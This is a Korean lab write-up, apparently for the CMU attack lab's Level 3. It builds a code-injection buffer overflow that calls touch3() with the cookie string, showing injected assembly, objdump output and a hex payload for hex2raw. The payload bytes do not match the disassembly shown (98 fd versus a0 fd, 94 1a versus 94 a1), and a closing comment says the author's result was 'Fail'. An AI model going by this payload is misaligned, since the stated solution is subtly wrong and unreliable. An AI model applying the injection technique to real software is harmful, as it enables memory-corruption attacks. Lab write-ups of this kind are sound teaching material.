Level 3는 다음과 같은 두 함수를 사용한다.
Level 2와 유사하게 val
의 값을 cookie
에 따라 맞춰야 하는 것인데, 이 과정에서 hexmatch()
라는 함수를 사용한다. 통과하기 위해서는 포인터 sval
이 가리키는 문자열 *sval
이 val
과 일치해야 한다.
작성자의 경우 cookie의 값은 0x76927bbf
였으므로, 이를 ASCII code로 바꾼 37 36 39 32 37 62 62 66
를 어딘가에 저장해둔 후 그 주소를 sval
으로 전달하여 touch3()
을 실행시키면 된다. 함수의 첫 번째 인자는 %edi
로 전달되므로 %edi
에 해당 값을 쓰고, touch3의 주소를 stack pointer의 맨 위에 push한 후 retq
한다. 이러한 작업을 실행하기 위해서 다음과 같이 exploit code를 작성해주자.
mov $0x5566fda0, %rdi # %edi에 cookie 문자열의 주소를 대입
pushq $0x40a194 # touch3()의 주소
retq
앞서 level 2에서 한 것처럼 gcc
와 objdump
를 사용하여 machine code로 바꾼다.
test.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 a0 fd 66 55 mov $0x5566fda0,%rdi
7: 68 94 a1 40 00 pushq $0x40a194
c: c3 retq
이것을 토대로 입력 문자열을 다음과 같이 설계해준다.
48 c7 c7 98 fd 66 55 68 # exploit code. %edi값 설정하고 touch3의 주소 push
94 1a 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
68 fd 66 55 00 00 00 00 # %rsp의 값. exploit code(맨 윗줄)의 주소
37 36 39 32 37 62 62 66 # 문자열. 주소는 0x5566fda0
00
hex2raw
를 이용해 raw파일로 만든 후 입력해주면 정답이다.
작성자님이 올린 결과가 Fail인데요....?